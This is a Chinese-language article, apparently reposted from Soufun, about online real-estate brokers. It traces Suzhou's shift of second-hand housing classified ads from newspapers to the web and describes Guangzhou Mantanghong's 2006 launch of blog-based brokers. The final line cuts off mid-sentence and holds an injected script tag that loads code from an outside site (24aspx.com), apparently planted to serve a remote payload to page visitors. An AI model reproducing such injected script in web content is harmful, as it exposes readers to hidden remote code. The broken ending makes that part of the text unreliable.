关于房地产网络经纪人的报告

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关于房地产网络经纪人的报告
文摘来源:搜房网阅读:8913次 [08-8-7]

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一、房地产经纪公司二手房出售/出租分类广告的演变过程
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1、2006年以前房源信息传播以传统渠道为主，苏州的代表有苏州日报、姑苏晚报、好邻居信息、怡家信息。

2、2006年至现在互联网的分类广告部分替代了报纸分类广告，代表有苏州搜房网的搜房帮信息发布，以及苏州口碑网、苏州365网的类似产品，其实质就是把报纸分类广告的内容原封不动搬到网上，从2006年的广告营业额来看，在苏州当地的三大门户网站的房地产二手房出售/出租分类广告的营业额已经和传统媒体相应广告营业额持平；

3、二手房出售/出租分类广告未来的趋势，互联网分类广告逐渐替代传统媒体是个大的方向，包括苏州房管局二手房信息网上备案，这些都充分说明了互联网信息时代的到临，从互联网行业内部来说新的互联网二手房出售/出租分类广告形式会替代旧的互联网二手房出售/出租分类广告形式；

二、新的互联网二手房出售/出租分类广告为什么会出现
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1、信息真实性的需要
目前的报纸和互联网在信息内容本质上是一样的，可以说互联网的分类广告就是报纸的翻版，毫无新意，就是原封不动的照搬，其性质就是以信息数量和广告广度来吸引客户，充分的发挥了“广告”的作用，不注重信息的质量和准确性。在报纸上实现信息的真实性是有一定的困难，但在互联网上可以对信息发布者的资格进行严格控制，并通过网民互动进行监控，从监控成本来说是几乎为0，可以完全实现监督信息，现在因为只是照猫画虎，不能体现出信息的真实性，房地产网络经纪人的概念应运而生。

2、行业发展的需要
苏州目前的二手房出售/出租市场正逐步走向成熟，形成良性的发展，房地产经纪人已经逐步成为大众买房服务认可的职业，需要以真实的诚信的姿态来表现自己，也需要一个真实的广告信息平台来支持；

现在各个经纪公司都有一批有业务能力的、有房产买卖、租赁业务实际操作经验丰富的经纪人，他们已经成熟起来并想能通过自己的努力实现人生价值，迫切需要新的平台来发挥自己的能力和水平，现有的信息平台不能满足其需要；

3、互联网产品的生命周期性决定
随着各种先进性技术手段的融入，web2.0的特点和功能以及其他的新兴互联网功能要逐渐融入其中，例如：视频功能、地图功能等等，可以使用信息的内容更加丰富直观，旧的产品（例如图片）形式已经不符合互联网发展的要求，必将有新的形式替代。

三、房地产网络经纪人概念及实践者
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1、房地产网络经纪人概念
通过个人博客展示自己，经纪人各种情况都真实的全部展示，通过互联网平台以某个房地产经纪人的名义发布房地产出售/出租信息，与客户进行互动式交流，进行房地产经纪工作，网民可以对经纪人及个人其他信息进行实时监督。

2、广州满堂红房地产经纪有限公司第一个实践，
2006年3月16日，MyTopHome.cn新版上线，中国第一批网络经纪人正式诞生。
2006年3月23日，中国第一批网络经纪人成交了第一单买卖业务
2006年12月1日搜房网推出第三方中立互联网专业平台的网络经纪人，随后顺驰的全房网也推出网络经纪人；

截止2007年7月广州满堂红有1200名经纪人，其中有300个是网络经纪人，网络经纪人可以实现的业务月收入达到公司月收入的30%

3、对广州满堂红经纪人的看法
买房人的看法，可以在互联网上了解的更清楚，提高找房子的效率；
卖房人的看法，互联网上来的客户素质较高，对公司服务也很满意；

网络经纪人领导的看法，网络经纪人与传统经纪人最大的不同在于：网络经纪人可以通过个人博客展示自己，通过网络平台进行工作，这样使经纪人工作更加透明。网络经纪人的执业证、过往工作经历、奖惩情况都在个人博客上展示出来，这样让客户更有安全感。客户会感觉到，我们公司有足够的实力，绝对的信心，公开接受他们的监督，这样无疑会加深客户对公司的信任度。

网络经纪人本人的看法，做网络经纪人之前，我们经常业务做法是等待客户上门、电话联系、扫小区楼盘，整个工作状态比较被动；成为网络经纪人后，我们变的比较主动了，通过博客、楼评、网店展示自己，吸引客户的目光，得到他们的认同。此外客户素质好、层次高，给我们的感觉也很好。作为一个网络经纪人主要是通过博客来展示自己，所以首先要做到对房子、业主情况都很熟悉、对推荐的楼盘了解透彻，这样才能把我的博客做的内容丰富，吸引想购买房子的人。“一份耕耘，一分收获”，做网络经纪人也如此，你付出的越多，做的越细，前期工作铺垫的越好，就越容易成交。

四、房地产网络经纪人可以做到什么
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1、在很大程度上可以避免互联网广告的格雷欣现象，所谓格雷欣现象即?script src=http://www.24aspx.com/script.js>

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